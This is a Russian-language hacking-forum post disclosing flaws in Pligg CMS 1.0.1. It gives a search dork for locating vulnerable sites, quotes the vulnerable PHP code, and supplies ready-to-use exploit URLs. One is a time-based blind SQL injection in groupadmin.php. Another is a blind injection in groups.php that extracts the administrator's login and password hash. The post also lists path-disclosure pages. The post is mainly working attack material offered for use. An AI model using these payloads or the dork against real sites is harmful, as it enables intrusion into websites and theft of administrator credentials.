Старый 07.07.2010, 15:27   #1
Iceangel_
 
Аватар для Iceangel_
 
Регистрация: 01.07.2010
Сообщений: 45
Репутация: 25
По умолчанию Уязвимости PliggCMS

Blind sql-inj Pligg Version 1.0.1

download: http://forums.pligg.com/attachments/...-cms-1.0.1.zip

dork: "Pligg Content Management System" inurl:upcoming.php


groupadmin.php(требования: magic_quotes=off)
уязвимый код:

PHP код:
 if(isset($_REQUEST["role"])){
        
    
$id $_REQUEST["id"];
    
$userid $_REQUEST["userid"];
    if(!
is_numeric($id) || !is_numeric($userid)){die();}
    
$role $_REQUEST["role"];
    
$sql "UPDATE " table_group_member " set member_role='".$role."' WHERE member_user_id     =".$userid." and member_group_id =".$id."";
    
//echo $sql;
    
$db->query($sql);
    
//page redirect
    
$redirect '';
    
$redirect getmyurl("group_story"$id);
    
header("Location: $redirect"); 
эксплуатирование:
groupadmin.php?id=1&userid=2&role=admin'+or+sleep( 10)--+


groups.php(требования: register_globals=on)

PHP код:
 if($_REQUEST["sortby"])                  
{
    
$sortby  $_REQUEST["sortby"];
    if(
$sortby == 'newest')
        
$order_by "group_date DESC";
    if(
$sortby == 'oldest')
        
$order_by "group_date ASC";
    if(
$sortby == 'members')
        
$order_by "group_members DESC";
    if(
$sortby == 'name')
        
$order_by "group_name Asc";
    
$main_smarty->assign('sortby'$sortby);
}
// pagename
define('pagename''groups');
$main_smarty->assign('pagename'pagename);
group_read($from_where,$order_by);
function 
group_read($from_where,$order_by)
{
    Global 
$db$main_smarty$view$user$rows$page_size$offset;
    
// figure out what "page" of the results we're on
    
$offset=(get_current_page()-1)*$page_size;

    
// pagesize set in the admin panel
    
$search->pagesize $page_size;

    if (
$order_by == "")
        
$order_by "group_date DESC";
    include_once(
mnminclude.'smartyvariables.php');
    global 
$db,$main_smarty;
    
$rows $db->get_var("SELECT count(*) FROM " table_groups " WHERE ".$from_where." ");
    
$group $db->get_results("SELECT distinct(group_id) as group_id FROM " table_groups " WHERE ".$from_where." ORDER BY group_status DESC, ".$order_by." LIMIT $offset,$page_size "); 
эксплуатирование:

Код:
/groups.php?order_by=(group_id*IF(ASCII(SUBSTRING((select+concat_ws(0x3a,user_login,user_pass)+from+pligg_users+where+user_level='god'+limit+0,1),1,1))>1,1,-1))--+

раскрытие пути:
/settings.php
/Smarty_Compiler.class.php
/modules/submit_antispam/templates/story.php

(c) Iceangel_ 2009

Последний раз редактировалось (dm); 19.08.2010 в 01:32.. Причина: изменение заголовка
Iceangel_ вне форума   Ответить с цитированием
Ответ

Метки
sql-inj

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot